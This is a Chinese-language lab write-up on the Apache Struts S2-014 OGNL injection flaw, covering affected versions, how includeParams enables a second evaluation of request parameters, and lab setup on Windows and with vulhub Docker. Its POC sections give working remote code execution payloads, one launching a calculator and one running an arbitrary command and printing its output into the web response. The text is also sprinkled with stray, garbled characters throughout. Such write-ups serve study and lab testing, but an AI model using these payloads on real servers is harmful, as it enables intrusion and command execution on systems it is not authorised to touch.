struts-s2-014
此文僅供大家交流學(xué)習(xí)逊抡,嚴(yán)禁非法使用
一、參考網(wǎng)址:
http://struts.apache.org/docs/s2-014.html
https://github.com/phith0n/vulhub/tree/master/struts2/s2-013
二零酪、 影響版本:
S2-014 是對 S2-013 修復(fù)的加強(qiáng)冒嫡,在 S2-013 修復(fù)的代碼中忽略了 ${ognl_exp} OGNL 表達(dá)式執(zhí)行的方式,因此 S2-014 是對其的補(bǔ)丁加強(qiáng)四苇。
三孝凌、 漏洞介紹:
無論是S:URL和S:一個標(biāo)簽提供includeParams屬性。
該屬性的主要范圍是了解是否包括http請求參數(shù)蛔琅。
includeParams的允許值為:
無 - 在URL中不包含參數(shù)(默認(rèn))
get - 僅在URL中包含GET參數(shù)
all - 在URL中包含GET和POST參數(shù)
包含特制請求參數(shù)的請求可用于將任意OGNL代碼注入到堆棧中胎许,之后用作URL或A標(biāo)簽的請求參數(shù)峻呛,這將進(jìn)一步評估。
當(dāng)URL / A標(biāo)簽嘗試解析原始請求中存在的每個參數(shù)時辜窑,會發(fā)生第二個評估钩述。
這使得惡意用戶將任意的OGNL語句放入任何請求參數(shù)(不一定由代碼管理),并將其評估為OGNL表達(dá)式穆碎,以啟用方法執(zhí)行并執(zhí)行任意方法牙勘,繞過Struts和OGNL庫保護(hù)。
這個問題最初由Struts 2.3.14.1和安全公告S2-013處理所禀。然而方面,2.3.14.1引入的解決方案沒有解決所有可能的攻擊向量,因此2.3.14.2之前的每個版本的Struts 2仍然容易受到這種攻擊色徘。
此漏洞相對于S2-013來說恭金,前者參數(shù)必須為后臺代碼指定參數(shù),但后者為任意參數(shù)褂策,大大增強(qiáng)了漏洞被攻破的可能性
四横腿、 環(huán)境搭建:
(windows)
- 下載/struts/2.1.6
下載地址:http://archive.apache.org/dist/struts/binaries/struts-2.1.6-apps.zip
下載安裝xampp
部署showcase
解壓
- 復(fù)制到.
- 重啟tomcat
- 已成功自動部署
- 修改配置
在Struts Blank應(yīng)用程序中打開HelloWorld.jsp,并將以下參數(shù)添加到url / a標(biāo)簽之一:
includeParams="all"
這樣一來斤寂,這條線將會是這樣的:
<s:url id="url" action="HelloWorld" includeParams="all">
運(yùn)行struts2-blank應(yīng)用程序
環(huán)境搭建:(ubuntu)
curl -s https://bootstrap.pypa.io/get-pip.py | python3
安裝docker
apt-get update && apt-get install docker.io啟動docker服務(wù)
service docker start安裝compose
pip install docker-compose
注意要先ssh連接耿焊,將公鑰添加到github上,具體參照網(wǎng)上教程
拉取項(xiàng)目
git clone git@github.com:phith0n/vulhub.git
cd vulhub進(jìn)入某一個漏洞/環(huán)境的目錄
cd nginx_php5_mysql自動化編譯環(huán)境
docker-compose build啟動整個環(huán)境
docker-compose up -d
五遍搞、 POC:
aaa=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec('calc')}
六罗侯、 測試網(wǎng)址:
原始網(wǎng)址:
http://ip:8080/struts2-blank-2.1.6/example/HelloWorld.action
修改后網(wǎng)址;
http://ip:8080/struts2-blank-2.1.6/example/HelloWorld.action?url=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec('calc')}
執(zhí)行結(jié)果為打開本地計(jì)算器應(yīng)用
任意可執(zhí)行命令POC:
aaaa=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23cmd="ipconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo)%7D
七、執(zhí)行結(jié)果
注意根據(jù)需求更改res大小
八溪猿、 至此钩杰,該漏洞基本利用完畢
本人還是一個未畢業(yè)的小萌新,希望大家多多幫助再愈,有問題請發(fā)送郵件到xrzsupupup@163.com不勝感激榜苫,我也會盡量去幫助大家
堅(jiān)決做一名白帽子